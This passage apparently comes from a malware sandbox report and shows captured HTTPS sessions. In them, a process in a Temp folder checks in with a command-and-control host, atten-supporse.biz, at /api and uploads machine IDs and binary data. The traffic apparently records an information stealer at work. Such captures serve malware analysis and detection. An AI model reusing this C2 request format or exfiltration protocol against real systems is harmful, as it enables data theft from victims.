1	192.168.2.4	50072	172.67.165.166	443	6692	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:40 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-11-29 19:07:40 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-29 19:07:41 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ec3171jfgi0e7c4asr2b7cjnr4; expires=Tue, 25-Mar-2025 12:54:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3UAfv8fy4O1ZjJ2tvU%2Bzm%2FFbci1hhF63HR%2B%2FxOkUI8P0srI8y1RyhtLQM9BbGWGSAXxk%2FeUFPQ4HXUSiDHRk1c1ImUUPcVpVgKPQBTHWKz04Wqrbd45hIp5Y3GrUkoD23p7vQS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e1cc6eab8c89-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1834&rtt_var=708&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1592148&cwnd=202&unsent_bytes=0&cid=f8c42478c3379300&ts=1339&x=0"
2024-11-29 19:07:41 UTC	349	IN	Data Raw: 34 34 38 38 0d 0a 79 35 56 2f 4c 32 79 2f 56 4a 75 72 6d 59 64 78 70 64 4f 38 48 36 68 61 68 6f 66 55 79 51 55 42 57 64 6d 32 41 46 48 34 74 4a 69 77 74 77 6b 4e 56 6f 74 34 75 64 6a 38 70 55 76 52 6f 63 6c 36 68 48 6a 6e 34 2f 62 7a 59 32 41 31 71 74 4d 73 63 34 37 5a 75 76 48 7a 48 6b 4d 66 32 6e 69 35 7a 75 47 6c 53 2f 36 6f 6e 6e 72 47 65 4c 79 6c 73 61 4e 6e 59 44 57 37 31 32 73 2b 69 4e 6a 37 6f 2f 6b 59 52 77 6e 63 4d 50 72 48 39 4f 49 55 77 4c 4c 57 63 63 45 33 37 75 72 32 35 53 64 6b 49 2f 75 4d 49 68 79 64 77 50 6d 47 39 41 78 45 54 73 4a 34 34 49 6e 38 36 56 4f 66 38 64 31 36 79 6a 62 67 34 37 2b 68 62 57 6b 39 75 74 4a 71 49 5a 48 53 38 4b 50 33 47 30 59 44 31 53 54 33 7a 66 50 70 45 73 71 79 6e 6a 4f 4b 50 2f 79 6c 37 75 73 30 55 54 69 71 78 Data Ascii: 4488y5V/L2y/VJurmYdxpdO8H6hahofUyQUBWdm2AFH4tJiwtwkNVot4udj8pUvRocl6hHjn4/bzY2A1qtMsc47ZuvHzHkMf2ni5zuGlS/6onnrGeLylsaNnYDW712s+iNj7o/kYRwncMPrH9OIUwLLWccE37ur25SdkI/uMIhydwPmG9AxETsJ44In86VOf8d16yjbg47+hbWk9utJqIZHS8KP3G0YD1ST3zfPpEsqynjOKP/yl7us0UTiqx
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 33 47 30 4d 50 30 44 62 72 77 66 44 75 46 74 57 36 31 33 44 48 4f 4f 6e 76 75 61 68 6e 5a 44 47 78 32 32 67 33 6c 39 76 38 71 66 64 64 41 30 37 61 4c 72 6d 52 75 38 59 57 31 37 62 53 61 34 67 43 70 50 72 34 73 69 64 6b 4e 2f 75 4d 49 6a 75 66 31 66 6d 69 2b 42 35 46 42 63 38 32 36 38 2f 32 34 41 48 42 74 4e 42 33 79 53 72 75 36 37 43 6f 62 6d 67 79 76 74 4e 6d 63 39 53 57 2f 62 47 33 52 51 30 76 30 44 33 31 77 2b 7a 6c 55 39 6a 2f 78 7a 33 4e 4e 4b 53 39 39 71 39 6d 5a 7a 71 2f 32 6d 77 33 6c 74 44 30 70 50 67 62 52 77 37 61 50 50 48 42 2b 75 67 59 79 4c 48 62 63 4d 34 2b 36 4f 53 7a 36 79 6b 6a 50 4b 4f 55 4f 6e 4f 30 30 66 6d 37 74 53 68 4f 41 4e 4d 78 37 34 6e 6b 71 77 71 48 74 74 49 39 6b 6e 6a 71 34 4c 6d 35 5a 6e 45 2b 74 63 5a 75 4e 70 7a 62 2b 61 Data Ascii: 3G0MP0DbrwfDuFtW613DHOOnvuahnZDGx22g3l9v8qfddA07aLrmRu8YW17bSa4gCpPr4sidkN/uMIjuf1fmi+B5FBc8268/24AHBtNB3ySru67CobmgyvtNmc9SW/bG3RQ0v0D31w+zlU9j/xz3NNKS99q9mZzq/2mw3ltD0pPgbRw7aPPHB+ugYyLHbcM4+6OSz6ykjPKOUOnO00fm7tShOANMx74nkqwqHttI9knjq4Lm5ZnE+tcZuNpzb+a
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 41 4e 4d 78 37 34 6e 6b 71 77 71 48 74 74 49 39 6b 6e 6a 6f 37 4c 61 67 62 57 63 37 76 4e 6c 6e 4d 4a 33 56 39 36 37 39 45 30 6f 4b 30 54 2f 30 7a 2f 76 69 46 38 4b 6a 32 33 54 47 4e 4b 53 72 39 71 78 2f 49 32 50 37 2b 32 55 6c 6d 66 6e 35 75 50 35 64 55 6b 44 45 64 76 37 46 75 37 31 54 77 4c 54 57 64 73 77 77 35 50 65 7a 70 57 78 69 4d 62 33 56 62 7a 2b 63 31 76 75 70 38 52 46 4e 43 64 6f 6b 36 38 7a 39 39 78 6d 48 2f 35 35 36 30 6e 69 38 70 59 43 37 63 48 49 74 2b 65 46 68 50 5a 54 52 37 4f 6e 6f 55 31 52 4f 32 6a 71 35 6b 62 76 75 45 38 75 32 31 6e 76 4f 4d 4f 76 71 76 37 6c 6d 62 7a 57 70 30 32 49 36 6c 4e 6e 32 6f 50 6f 61 51 41 58 58 4f 2f 33 4f 2b 71 56 64 68 37 62 47 50 5a 4a 34 30 76 57 37 70 30 6c 6f 4e 37 4b 55 66 58 32 44 6c 76 32 6c 74 30 55 Data Ascii: ANMx74nkqwqHttI9knjo7LagbWc7vNlnMJ3V9679E0oK0T/0z/viF8Kj23TGNKSr9qx/I2P7+2Ulmfn5uP5dUkDEdv7Fu71TwLTWdsww5PezpWxiMb3Vbz+c1vup8RFNCdok68z99xmH/5560ni8pYC7cHIt+eFhPZTR7OnoU1RO2jq5kbvuE8u21nvOMOvqv7lmbzWp02I6lNn2oPoaQAXXO/3O+qVdh7bGPZJ40vW7p0loN7KUfX2Dlv2lt0U
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 50 62 49 2f 2b 41 57 77 37 62 61 65 38 56 34 71 71 57 78 73 79 63 37 65 35 54 7a 56 33 47 37 37 4c 71 32 75 51 51 4e 43 64 46 32 6f 59 6e 33 35 68 2f 50 76 74 68 30 78 6a 4c 74 37 72 71 67 59 32 38 79 76 74 4a 6a 4e 70 2f 58 2f 71 58 39 47 30 34 4e 30 6a 6e 32 77 62 75 72 55 38 43 70 6e 69 57 4b 48 66 50 75 75 4b 30 6e 66 48 57 69 6c 47 55 2f 32 6f 36 36 70 66 34 62 53 77 76 52 4e 2f 2f 42 2f 75 30 58 78 72 66 59 66 73 55 38 34 65 53 35 72 32 74 74 4d 62 72 56 62 6a 69 56 33 66 2f 70 75 56 31 4b 46 70 31 75 75 66 6a 34 38 77 54 58 76 5a 35 69 68 43 47 6b 34 72 72 72 50 79 4d 36 71 64 35 6f 50 5a 2f 5a 2f 36 72 34 47 6b 41 49 30 54 7a 77 77 66 33 71 47 74 57 79 30 6e 50 4e 4e 75 6a 72 75 36 46 6b 62 6e 76 31 6c 47 55 72 32 6f 36 36 68 66 41 51 59 77 58 52 Data Ascii: PbI/+AWw7bae8V4qqWxsyc7e5TzV3G77Lq2uQQNCdF2oYn35h/Pvth0xjLt7rqgY28yvtJjNp/X/qX9G04N0jn2wburU8CpniWKHfPuuK0nfHWilGU/2o66pf4bSwvRN//B/u0XxrfYfsU84eS5r2ttMbrVbjiV3f/puV1KFp1uufj48wTXvZ5ihCGk4rrrPyM6qd5oPZ/Z/6r4GkAI0Tzwwf3qGtWy0nPNNujru6Fkbnv1lGUr2o66hfAQYwXR
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 6e 33 55 34 6e 78 32 57 57 4b 59 4b 54 54 73 62 74 33 59 48 6d 4b 77 6d 45 6c 6b 64 76 32 36 65 68 54 56 45 37 61 4f 72 6d 52 75 2b 4d 63 7a 72 4c 52 66 4d 4d 30 36 65 43 2f 72 6d 5a 6c 50 37 48 65 59 6a 57 63 31 2f 2b 6a 39 42 78 48 42 39 6f 2b 2f 73 72 70 70 56 32 48 74 73 59 39 6b 6e 6a 4e 34 71 53 6c 64 79 4d 6b 39 63 30 69 4e 4a 61 57 6f 75 6e 7a 46 30 49 4b 32 6a 72 2f 7a 50 33 6f 45 73 69 77 33 6e 4c 4f 4d 2b 33 6a 74 36 5a 69 62 6a 2b 70 33 6d 6b 38 6c 74 2f 32 70 4c 64 54 44 51 6e 46 64 71 47 4a 79 75 67 64 79 62 62 49 50 64 56 32 2f 61 57 78 70 79 63 37 65 37 72 59 62 54 43 56 31 66 6d 6f 2f 51 39 66 41 74 51 2b 2f 4d 58 77 36 78 58 56 74 39 46 30 79 54 76 74 34 72 36 6e 62 57 41 38 2b 35 6f 69 4e 49 4b 57 6f 75 6e 55 43 6c 30 44 6e 53 6d 33 30 Data Ascii: n3U4nx2WWKYKTTsbt3YHmKwmElkdv26ehTVE7aOrmRu+MczrLRfMM06eC/rmZlP7HeYjWc1/+j9BxHB9o+/srppV2HtsY9knjN4qSldyMk9c0iNJaWounzF0IK2jr/zP3oEsiw3nLOM+3jt6Zibj+p3mk8lt/2pLdTDQnFdqGJyugdybbIPdV2/aWxpyc7e7rYbTCV1fmo/Q9fAtQ+/MXw6xXVt9F0yTvt4r6nbWA8+5oiNIKWounUCl0DnSm30
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 42 74 74 68 7a 32 44 33 69 36 72 6d 69 62 6d 63 7a 75 4e 52 6d 4e 35 33 54 2b 61 58 38 47 6b 34 42 32 54 2f 33 77 50 53 6c 58 59 65 32 78 6a 32 53 65 4d 58 2b 74 61 64 71 49 79 54 31 7a 53 49 30 6c 70 61 69 36 66 73 54 53 41 37 58 4d 50 33 4d 2f 65 38 57 78 37 72 64 63 73 34 2b 34 4f 71 32 6f 47 35 69 50 62 37 65 61 54 57 58 31 66 79 76 74 31 4d 4e 43 63 56 32 6f 59 6e 62 2f 68 37 4c 74 70 35 69 68 43 47 6b 34 72 72 72 50 79 4d 77 74 39 42 6c 4d 35 66 56 38 71 7a 7a 46 30 67 4f 31 53 54 78 79 66 7a 33 41 63 65 34 32 33 48 4a 4f 4f 44 6a 76 36 31 6b 5a 33 76 31 6c 47 55 72 32 6f 36 36 68 50 73 61 5a 41 6e 47 64 75 61 48 34 71 55 55 79 2f 47 47 50 63 73 7a 37 75 71 37 71 47 46 67 4d 4c 37 65 59 7a 53 53 32 2b 69 71 2b 42 4a 4a 44 74 49 77 2f 38 6a 30 34 78 Data Ascii: Btthz2D3i6rmibmczuNRmN53T+aX8Gk4B2T/3wPSlXYe2xj2SeMX+tadqIyT1zSI0lpai6fsTSA7XMP3M/e8Wx7rdcs4+4Oq2oG5iPb7eaTWX1fyvt1MNCcV2oYnb/h7Ltp5ihCGk4rrrPyMwt9BlM5fV8qzzF0gO1STxyfz3Ace423HJOODjv61kZ3v1lGUr2o66hPsaZAnGduaH4qUUy/GGPcsz7uq7qGFgML7eYzSS2+iq+BJJDtIw/8j04x
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 61 38 6c 2f 32 74 75 52 76 57 31 6b 4b 37 7a 44 62 58 50 55 6c 76 58 70 72 79 51 4e 42 39 6f 74 36 4e 2f 32 39 52 53 48 6a 70 41 39 30 6e 69 38 70 59 4f 6f 61 57 30 38 72 63 55 76 46 49 7a 63 2f 62 6e 77 43 6b 4a 4f 6b 33 62 2f 69 61 4f 32 58 59 65 31 7a 7a 32 53 61 4c 61 2b 34 2f 67 77 4d 32 6d 6b 6d 6e 74 7a 6a 4a 61 69 2b 37 6c 64 58 30 36 46 64 72 37 4b 36 66 63 56 78 4b 66 64 4f 76 51 47 77 2f 2b 37 72 58 42 79 42 59 58 54 65 44 36 63 77 65 76 6c 34 68 35 44 41 4e 6f 67 75 59 65 37 36 6c 4f 66 69 4a 34 31 69 67 65 71 70 61 37 72 50 79 4d 4f 75 4e 70 73 4e 49 7a 48 74 34 37 74 45 45 73 5a 7a 48 61 33 69 66 32 6c 53 35 66 2f 6e 6e 6e 62 65 4c 79 31 35 50 41 79 4d 47 7a 72 68 6e 31 39 67 35 62 73 36 61 39 50 41 30 37 50 64 71 47 4a 76 4f 59 42 31 62 66 Data Ascii: a8l/2tuRvW1kK7zDbXPUlvXpryQNB9ot6N/29RSHjpA90ni8pYOoaW08rcUvFIzc/bnwCkJOk3b/iaO2XYe1zz2SaLa+4/gwM2mkmntzjJai+7ldX06Fdr7K6fcVxKfdOvQGw/+7rXByBYXTeD6cwevl4h5DANoguYe76lOfiJ41igeqpa7rPyMOuNpsNIzHt47tEEsZzHa3if2lS5f/nnnbeLy15PAyMGzrhn19g5bs6a9PA07PdqGJvOYB1bf
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 71 54 39 39 76 4d 6e 56 6a 69 31 32 6d 55 6c 69 35 76 64 70 2f 41 63 57 78 37 4b 4f 62 6d 48 75 2b 4e 54 6e 2b 4f 51 50 63 34 70 70 4c 33 6d 2b 54 77 32 61 4f 79 45 4d 43 7a 55 7a 37 71 2f 74 30 55 66 51 4a 30 6b 75 5a 47 37 6f 68 44 56 6f 39 68 2b 33 44 75 6a 32 34 69 4d 61 57 51 36 72 63 52 31 50 4e 58 34 7a 49 6a 4a 49 31 67 4e 30 7a 6a 2b 33 2b 71 6c 58 59 65 2b 6e 69 58 7a 65 4b 79 6c 69 65 55 6e 65 33 76 6a 6c 46 63 77 6c 4e 6a 39 76 2b 5a 51 61 67 44 61 4e 2b 2f 5a 37 4f 70 63 36 59 66 2f 50 59 52 34 34 71 58 75 2b 53 6b 6a 50 36 71 55 4f 6d 50 49 6a 61 2f 36 6f 45 30 66 45 5a 4d 76 75 64 2b 37 76 55 47 4a 38 63 77 39 6b 6e 69 6a 35 71 53 35 59 57 41 74 75 4a 4e 63 44 62 33 59 2f 61 6a 68 44 55 41 43 2f 44 58 6f 77 38 58 62 42 73 53 2f 30 48 72 63 Data Ascii: qT99vMnVji12mUli5vdp/AcWx7KObmHu+NTn+OQPc4ppL3m+Tw2aOyEMCzUz7q/t0UfQJ0kuZG7ohDVo9h+3Duj24iMaWQ6rcR1PNX4zIjJI1gN0zj+3+qlXYe+niXzeKylieUne3vjlFcwlNj9v+ZQagDaN+/Z7Opc6Yf/PYR44qXu+SkjP6qUOmPIja/6oE0fEZMvud+7vUGJ8cw9knij5qS5YWAtuJNcDb3Y/ajhDUAC/DXow8XbBsS/0Hrc
2024-11-29 19:07:41 UTC	1369	IN	Data Raw: 57 6c 5a 48 45 70 76 64 64 30 4d 4e 33 6f 78 49 54 6c 47 6c 30 4e 6e 77 66 30 7a 65 33 77 45 4e 65 32 34 45 50 6e 4b 75 50 31 74 65 6c 4c 5a 44 61 33 36 6c 77 45 69 39 48 71 36 39 45 65 57 77 32 64 65 4c 6e 52 75 37 31 54 36 71 50 5a 62 63 6c 36 79 4f 4b 37 70 79 64 38 64 61 4b 55 64 48 50 43 68 62 54 70 35 56 30 56 54 70 6f 31 36 39 76 39 35 67 58 45 39 75 42 44 35 79 72 6a 39 62 58 70 56 6d 34 2f 72 63 46 68 49 35 33 6f 78 49 54 6c 47 6c 30 4e 6e 78 50 44 69 38 72 7a 45 4d 65 2f 32 54 32 45 65 50 79 6c 37 75 74 4b 63 54 79 72 31 79 41 57 6f 4a 54 4c 76 2f 51 64 51 77 6d 64 65 4c 6e 46 75 37 31 54 79 71 50 5a 62 63 6c 30 34 2f 2b 78 36 33 67 74 49 76 76 43 49 6d 76 4a 6d 4c 71 37 74 30 55 4e 53 64 4d 37 2b 4d 72 31 35 67 48 56 74 39 31 72 79 58 2f 61 32 Data Ascii: WlZHEpvdd0MN3oxITlGl0Nnwf0ze3wENe24EPnKuP1telLZDa36lwEi9Hq69EeWw2deLnRu71T6qPZbcl6yOK7pyd8daKUdHPChbTp5V0VTpo169v95gXE9uBD5yrj9bXpVm4/rcFhI53oxITlGl0NnxPDi8rzEMe/2T2EePyl7utKcTyr1yAWoJTLv/QdQwmdeLnFu71TyqPZbcl04/+x63gtIvvCImvJmLq7t0UNSdM7+Mr15gHVt91ryX/a2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50073	172.67.165.166	443	6692	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:43 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D574BL7UZRQBW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18139 Host: atten-supporse.biz
2024-11-29 19:07:43 UTC	15331	OUT	Data Raw: 2d 2d 44 35 37 34 42 4c 37 55 5a 52 51 42 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 44 35 37 34 42 4c 37 55 5a 52 51 42 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 35 37 34 42 4c 37 55 5a 52 51 42 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 35 37 34 42 Data Ascii: --D574BL7UZRQBWContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--D574BL7UZRQBWContent-Disposition: form-data; name="pid"2--D574BL7UZRQBWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--D574B
2024-11-29 19:07:43 UTC	2808	OUT	Data Raw: 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 Data Ascii: ~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-11-29 19:07:45 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qooqb7khf1fcktj7s3oesvm7po; expires=Tue, 25-Mar-2025 12:54:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rsk5bcfN6i9FLypZ40B%2FNKzRbVMRYes1FudHNVa8AGWgLQdDCJzKtyKX9%2FDdPQ0KQSmWTpffGcxrgjgjF%2FYez%2BqBHpHiAZOvd%2FVl2uH3pw37Kj5FQrftvGd0JEdOBXX8Q4zAYZY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e1e04b368c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1808&rtt_var=694&sent=14&recv=21&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19098&delivery_rate=1559829&cwnd=247&unsent_bytes=0&cid=cc9df1b2f7ac85ad&ts=1753&x=0"
2024-11-29 19:07:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:07:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50076	172.67.165.166	443	6692	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:47 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ES7BNRLLJ31PN3S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8772 Host: atten-supporse.biz
2024-11-29 19:07:47 UTC	8772	OUT	Data Raw: 2d 2d 45 53 37 42 4e 52 4c 4c 4a 33 31 50 4e 33 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 45 53 37 42 4e 52 4c 4c 4a 33 31 50 4e 33 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 53 37 42 4e 52 4c 4c 4a 33 31 50 4e 33 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --ES7BNRLLJ31PN3SContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--ES7BNRLLJ31PN3SContent-Disposition: form-data; name="pid"2--ES7BNRLLJ31PN3SContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-29 19:07:48 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=krm3r313ee7i0gk3ju903fdboh; expires=Tue, 25-Mar-2025 12:54:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=alnZIO6tEayL%2FfNE4YDVToETOwnD7EtIrN3WU4nAW9jM6FZiPb2mUcWq6YckUPrOFP5nOo5znZWuzY2pdRuB6YoQMsAjiPxaeMI5hhFYDjLIibNQcTVUd86a6bDLmt4IoUXTlqg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e1f3eb1fde93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1463&rtt_var=567&sent=9&recv=13&lost=0&retrans=0&sent_bytes=2847&recv_bytes=9710&delivery_rate=1897335&cwnd=246&unsent_bytes=0&cid=3dcd3c660cc3cf78&ts=997&x=0"
2024-11-29 19:07:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:07:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50078	172.67.165.166	443	6692	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:49 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PUGNOWADSH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20395 Host: atten-supporse.biz
2024-11-29 19:07:49 UTC	15331	OUT	Data Raw: 2d 2d 50 55 47 4e 4f 57 41 44 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 50 55 47 4e 4f 57 41 44 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 55 47 4e 4f 57 41 44 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 55 47 4e 4f 57 41 44 53 48 0d 0a 43 6f Data Ascii: --PUGNOWADSHContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--PUGNOWADSHContent-Disposition: form-data; name="pid"3--PUGNOWADSHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--PUGNOWADSHCo
2024-11-29 19:07:49 UTC	5064	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 